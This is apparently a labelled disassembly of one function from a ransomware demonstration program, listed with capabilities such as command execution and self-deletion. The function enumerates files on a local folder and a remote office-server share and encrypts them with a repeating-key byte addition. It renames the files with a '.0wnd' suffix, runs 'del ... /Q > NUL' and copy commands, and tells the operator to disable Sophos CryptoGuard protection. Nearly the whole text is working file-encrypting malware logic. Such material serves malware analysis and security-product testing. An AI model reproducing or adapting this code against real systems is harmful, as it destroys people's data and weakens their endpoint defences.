Function at 0x401410
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x6a0
call sym.___main
mov dword [esp + 0x688], 0
mov dword [esp + 0x407], 0x67666564
mov dword [esp + 0x1a2], 0x20202020
mov dword [esp + 0x1a6], 0x20202020
mov dword [esp + 0x1aa], 0x20202020
mov byte [esp + 0x1ae], 0
mov dword [esp + 0x13e], 0x206c6564
mov dword [esp + 0x142], 0x745c3a63
mov dword [esp + 0x146], 0x61657268
mov dword [esp + 0x14a], 0x61725c74
mov dword [esp + 0x14e], 0x6d6f736e
mov dword [esp + 0x152], 0x65726177
mov dword [esp + 0x156], 0x636f445c
mov dword [esp + 0x15a], 0x6e656d75
mov dword [esp + 0x15e], 0x2a5c7374
mov dword [esp + 0x162], 0x2f202a2e
mov dword [esp + 0x166], 0x203e2051
mov dword [esp + 0x16a], 0x4c554e
lea eax, [esp + 0x16e]
mov ecx, 0x34
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xda]
mov ebx, str.del_officeserver.naseeast.com_ransomwareDocuments.__Q___NUL
mov edx, 0x42
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x11c]
mov ecx, 0x22
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x76]
mov ebx, str.copy_c:_threatImageDocuments._c:_threat_ransomwareDocuments.__Y___NUL
mov edx, 0x4f
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0xc5]
mov ecx, 0x15
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
and ecx, 0xfffffffc
mov eax, 0
mov dword [edx + eax], ebx
add eax, 4
cmp eax, ecx
jb 0x4015d8
add edx, eax
lea eax, [esp + 0x12]
mov ebx, str.copy_c:_threat_ransomwareOriginal._officeserver.naseeast.com_ransomwareDocuments.__Y___NUL
mov edx, 0x64
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x684], 0
mov dword [esp + 0x69c], 0
mov dword [esp + 0x694], 0
mov dword [esp + 0x680], 0
mov dword [esp + 0x67c], 5
mov dword [esp + 0x694], 1
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
test eax, eax
je 0x40167d
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._atoi
mov dword [esp + 0x698], eax
cmp dword [esp + 0x698], 4
je 0x401fd3
cmp dword [esp + 0x698], 4
jg 0x402982
cmp dword [esp + 0x698], 3
je 0x401b59
cmp dword [esp + 0x698], 3
jg 0x402982
cmp dword [esp + 0x698], 1
je 0x4016ce
cmp dword [esp + 0x698], 2
je 0x4016df
jmp 0x402982
mov dword [esp], str.case_1
call sym._puts
jmp 0x402982
mov dword [esp + 8], str.Documents
mov dword [esp + 4], 0x407055
lea eax, [esp + 0x40b]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x40b]
mov dword [esp + 8], eax
mov dword [esp + 4], str.officeserver.naseeast.com_ransomware_s
lea eax, [esp + 0x447]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x447]
mov dword [esp + 0x640], eax
mov eax, dword [esp + 0x640]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x650], eax
jmp 0x4017ba
cmp dword [esp + 0x694], 2
jle 0x4017b2
cmp dword [esp + 0x694], 3
jne 0x40178d
mov dword [esp], str.List_of_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x4017b2
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x650]
mov dword [esp + 0x63c], eax
mov eax, dword [esp + 0x63c]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x401746
mov eax, dword [esp + 0x650]
mov dword [esp + 0x638], eax
mov eax, dword [esp + 0x638]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.start_officeserver.naseeast.com_ransomwareDocuments
call sym._system
cmp dword [esp + 0x680], 1
je 0x401830
mov dword [esp], str.Shall_we_encrypt_the_files_
call sym._puts
call sym._getchar
lea eax, [esp + 0x447]
mov dword [esp + 0x634], eax
mov eax, dword [esp + 0x634]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x650], eax
mov dword [esp + 0x694], 1
jmp 0x401b22
cmp dword [esp + 0x694], 2
jle 0x401b1a
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x447]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x680], 1
je 0x4018c3
lea eax, [esp + 0x1af]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x67c]
mov dword [esp], eax
call sym._Sleeper
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x64c], eax
cmp dword [esp + 0x64c], 0
jne 0x401923
mov dword [esp], str.Error_in_opening_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.temp.txt
call sym._fopen
mov dword [esp + 0x648], eax
cmp dword [esp + 0x648], 0
jne 0x401980
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x644], eax
cmp dword [esp + 0x644], 0xffffffff
je 0x4019f5
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
movsx eax, al
add dword [esp + 0x644], eax
mov eax, dword [esp + 0x648]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x644]
mov dword [esp], eax
call sym._fputc
jmp 0x40198b
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x644], eax
cmp dword [esp + 0x644], 0xffffffff
je 0x401aa9
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
movsx eax, al
add dword [esp + 0x644], eax
mov eax, dword [esp + 0x64c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x644]
mov dword [esp], eax
call sym._fputc
jmp 0x401a3f
nop
mov dword [esp], str.close_files
call sym._puts
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x1af]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x2db]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x2db]
mov dword [esp + 4], eax
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._rename
jmp 0x401b22
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x650]
mov dword [esp + 0x630], eax
mov eax, dword [esp + 0x630]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x401864
jmp 0x402982
mov dword [esp + 8], str.Documents
mov dword [esp + 4], 0x407055
lea eax, [esp + 0x40b]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x40b]
mov dword [esp + 8], eax
mov dword [esp + 4], str.c:_threat_ransomware_s
lea eax, [esp + 0x447]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x447]
mov dword [esp + 0x62c], eax
mov eax, dword [esp + 0x62c]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x650], eax
jmp 0x401c34
cmp dword [esp + 0x694], 2
jle 0x401c2c
cmp dword [esp + 0x694], 3
jne 0x401c07
mov dword [esp], str.List_of_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x401c2c
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x650]
mov dword [esp + 0x628], eax
mov eax, dword [esp + 0x628]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x401bc0
mov eax, dword [esp + 0x650]
mov dword [esp + 0x624], eax
mov eax, dword [esp + 0x624]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.start_c:_threat_ransomwareDocuments
call sym._system
cmp dword [esp + 0x680], 1
je 0x401caa
mov dword [esp], str.Shall_we_encrypt_the_files_
call sym._puts
call sym._getchar
lea eax, [esp + 0x447]
mov dword [esp + 0x620], eax
mov eax, dword [esp + 0x620]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x650], eax
mov dword [esp + 0x694], 1
jmp 0x401f9c
cmp dword [esp + 0x694], 2
jle 0x401f94
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x447]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x680], 1
je 0x401d3d
lea eax, [esp + 0x1af]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x67c]
mov dword [esp], eax
call sym._Sleeper
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x64c], eax
cmp dword [esp + 0x64c], 0
jne 0x401d9d
mov dword [esp], str.Error_in_opening_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.temp.txt
call sym._fopen
mov dword [esp + 0x648], eax
cmp dword [esp + 0x648], 0
jne 0x401dfa
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x644], eax
cmp dword [esp + 0x644], 0xffffffff
je 0x401e6f
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
movsx eax, al
add dword [esp + 0x644], eax
mov eax, dword [esp + 0x648]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x644]
mov dword [esp], eax
call sym._fputc
jmp 0x401e05
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x644], eax
cmp dword [esp + 0x644], 0xffffffff
je 0x401f23
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
movsx eax, al
add dword [esp + 0x644], eax
mov eax, dword [esp + 0x64c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x644]
mov dword [esp], eax
call sym._fputc
jmp 0x401eb9
nop
mov dword [esp], str.close_files
call sym._puts
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x1af]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x2db]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x2db]
mov dword [esp + 4], eax
lea eax, [esp + 0x1af]
mov dword [esp], eax
call sym._rename
jmp 0x401f9c
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x650]
mov dword [esp + 0x61c], eax
mov eax, dword [esp + 0x61c]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x401cde
jmp 0x402982
mov dword [esp + 0x678], 1
mov dword [esp + 4], str.c:_threat_ransomwareDocuments
lea eax, [esp + 0x4b5]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], str.officeserver.naseeast.com_ransomwareDocuments
lea eax, [esp + 0x47e]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x4b5]
mov dword [esp + 0x614], eax
mov eax, dword [esp + 0x614]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x674], eax
lea eax, [esp + 0x47e]
mov dword [esp + 0x618], eax
mov eax, dword [esp + 0x618]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x670], eax
jmp 0x4020ca
cmp dword [esp + 0x694], 2
jle 0x4020c2
cmp dword [esp + 0x694], 3
jne 0x40209d
mov dword [esp], str.List_of_remote_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x4020c2
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x670]
mov dword [esp + 0x610], eax
mov eax, dword [esp + 0x610]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x402056
mov dword [esp + 0x694], 1
jmp 0x40217d
cmp dword [esp + 0x694], 2
jle 0x402175
cmp dword [esp + 0x694], 3
jne 0x402150
mov dword [esp], str.List_of_Local_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x402175
mov eax, dword [esp + 0x66c]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x694], 1
mov eax, dword [esp + 0x674]
mov dword [esp + 0x60c], eax
mov eax, dword [esp + 0x60c]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x402109
mov eax, dword [esp + 0x670]
mov dword [esp + 0x604], eax
mov eax, dword [esp + 0x604]
mov dword [esp], eax
call sym.___mingw_closedir
mov eax, dword [esp + 0x674]
mov dword [esp + 0x608], eax
mov eax, dword [esp + 0x608]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.Opening_remote_drive_to_see_attack
call sym._puts
mov dword [esp], str.start_officeserver.naseeast.com_ransomwareDocuments
call sym._system
mov dword [esp], str.Opening_local_drive_to_see_attack
call sym._puts
mov dword [esp], str.start_c:_threat_ransomwareDocuments
call sym._system
mov dword [esp], str.c:Program_FilesSophosSophos_UISophos_UI.exe
call sym._system
mov dword [esp], str.Turn_off_Cryptoguard_protection_in_Sophos_Agent_under_Settings
call sym._puts
mov dword [esp], str.When_Windows_are_arranged_AND_Ransomware_protection_is_off
call sym._puts
cmp dword [esp + 0x680], 1
je 0x402258
mov dword [esp], str.Return_to_continue_and_start_encryption_process
call sym._puts
call sym._getchar
lea eax, [esp + 0x47e]
mov dword [esp + 0x5fc], eax
mov eax, dword [esp + 0x5fc]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x670], eax
lea eax, [esp + 0x4b5]
mov dword [esp + 0x600], eax
mov eax, dword [esp + 0x600]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x674], eax
mov dword [esp + 0x694], 1
mov eax, dword [esp + 0x674]
mov dword [esp + 0x5f4], eax
mov eax, dword [esp + 0x5f4]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x668], eax
mov eax, dword [esp + 0x670]
mov dword [esp + 0x5f8], eax
mov eax, dword [esp + 0x5f8]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x664], eax
cmp dword [esp + 0x694], 2
jle 0x402975
cmp dword [esp + 0x69c], 1
je 0x40236d
mov eax, dword [esp + 0x664]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x47e]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x277]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [esp + 0x668]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x4b5]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x3a3]
mov dword [esp], eax
call sym._sprintf
jmp 0x40239d
mov eax, dword [esp + 0x668]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x4b5]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x3a3]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x680], 1
je 0x4023f8
cmp dword [esp + 0x69c], 1
je 0x4023e1
lea eax, [esp + 0x277]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
lea eax, [esp + 0x3a3]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
jmp 0x4023f8
lea eax, [esp + 0x3a3]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x67c]
mov dword [esp], eax
call sym._Sleeper
cmp dword [esp + 0x69c], 1
je 0x40242f
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x277]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x68c], eax
cmp dword [esp + 0x69c], 1
je 0x4024c5
cmp dword [esp + 0x68c], 0
jne 0x4024c5
cmp dword [esp + 0x694], 3
jle 0x40248d
mov dword [esp], 0x40739c
call sym._puts
lea eax, [esp + 0x1a2]
mov dword [esp + 4], eax
mov dword [esp], str._sRansomware_attack_stopped_on_server_n
call sym._printf
mov dword [esp + 0x69c], 1
mov dword [esp], 0x40739c
call sym._puts
jmp 0x4024c5
mov dword [esp], str.Error_in_opening__remote_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.rem_temp.txt
call sym._fopen
mov dword [esp + 0x660], eax
cmp dword [esp + 0x660], 0
jne 0x402522
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x3a3]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x65c], eax
cmp dword [esp + 0x65c], 0
jne 0x40259a
cmp dword [esp + 0x69c], 1
jne 0x402562
mov dword [esp], str.Exiting
call sym._puts
jmp 0x40259a
mov dword [esp], str.Error_in_opening_local_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
mov eax, dword [esp + 0x65c]
mov dword [esp], eax
call sym._fclose
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.loc_temp.txt
call sym._fopen
mov dword [esp + 0x658], eax
cmp dword [esp + 0x658], 0
jne 0x4025f7
mov dword [esp], str.Error_in_creating_local_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x690], 0
cmp dword [esp + 0x69c], 1
je 0x40271d
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x657], al
cmp byte [esp + 0x657], 0xff
je 0x402684
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
mov edx, eax
movzx eax, byte [esp + 0x657]
add eax, edx
mov byte [esp + 0x657], al
movsx eax, byte [esp + 0x657]
mov edx, dword [esp + 0x660]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x402610
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x660]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x660]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x657], al
cmp byte [esp + 0x657], 0xff
je 0x40271c
mov eax, dword [esp + 0x690]
add eax, 1
mov dword [esp + 0x690], eax
movsx eax, byte [esp + 0x657]
mov edx, dword [esp + 0x68c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x4026ce
nop
mov eax, dword [esp + 0x65c]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x656], al
cmp byte [esp + 0x656], 0xff
je 0x402791
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
mov edx, eax
movzx eax, byte [esp + 0x656]
add eax, edx
mov byte [esp + 0x656], al
movsx eax, byte [esp + 0x656]
mov edx, dword [esp + 0x658]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x40271d
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x65c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x690], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x656], al
cmp byte [esp + 0x656], 0xff
je 0x40284f
mov eax, dword [esp + 0x690]
lea edx, [eax + 1]
mov dword [esp + 0x690], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x407]
mov edx, eax
movzx eax, byte [esp + 0x656]
add eax, edx
mov byte [esp + 0x656], al
movsx eax, byte [esp + 0x656]
mov edx, dword [esp + 0x65c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x4027db
nop
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x660]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x65c]
mov dword [esp], eax
call sym._fclose
cmp dword [esp + 0x69c], 1
je 0x402924
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x277]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x213]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x213]
mov dword [esp + 4], eax
lea eax, [esp + 0x277]
mov dword [esp], eax
call sym._rename
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x3a3]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x33f]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x33f]
mov dword [esp + 4], eax
lea eax, [esp + 0x3a3]
mov dword [esp], eax
call sym._rename
jmp 0x402968
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x3a3]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x33f]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x33f]
mov dword [esp + 4], eax
lea eax, [esp + 0x3a3]
mov dword [esp], eax
call sym._rename
add dword [esp + 0x694], 1
jmp 0x4022ab
add dword [esp + 0x694], 1
jmp 0x4022ab
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret